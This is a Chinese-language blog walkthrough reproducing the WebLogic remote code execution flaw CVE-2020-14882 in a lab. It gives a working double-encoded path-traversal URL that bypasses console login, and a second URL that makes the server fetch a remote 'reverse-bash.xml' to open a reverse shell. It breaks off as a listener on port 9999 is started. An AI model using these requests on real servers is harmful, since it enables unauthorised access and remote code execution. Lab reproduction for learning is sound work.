WebLogic远程代码执行漏洞 CVE-2020-14882

最新推荐文章于 2025-07-16 21:54:59 发布

原创最新推荐文章于 2025-07-16 21:54:59 发布 · 571 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#安全 #web安全 #中间件 #渗透测试

漏洞复现专栏收录该内容

4 篇文章

订阅专栏

本文介绍CVE-2020-14882 WebLogic远程代码执行漏洞利用过程，包括未授权登录及通过远程加载XML文件获取shell的方法。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

文中主要讲解Weblogic漏洞，通过文中的漏洞步骤了解中间件漏洞；文中内容全由个人理解编制，若有错处，大佬勿喷，个人学艺不精；本文中提到的任何技术都源自于靶场练习，仅供学习参考，请勿利用文章内的相关技术从事非法测试，如因产生的一切不良后果与文章作者无关。

WebLogic远程代码执行漏洞(CVE-2020-14882)

开启漏洞环境：
在这里插入图片描述
构造URL，达到未授权登录：

http://192.168.45.135:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

在这里插入图片描述
但此处无法执行其余的操作，例如开启web测试页，或者上传war等。所以就不能常规在后台写shell，只能用远程加载XML文件获取shell
这里生成一个XML文件。并开启80端口，去下载：

http://192.168.45.135:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext(%22http://192.168.45.135/reverse-bash.xml%22)

这里已经有数据在下载：
在这里插入图片描述
开启监听9999：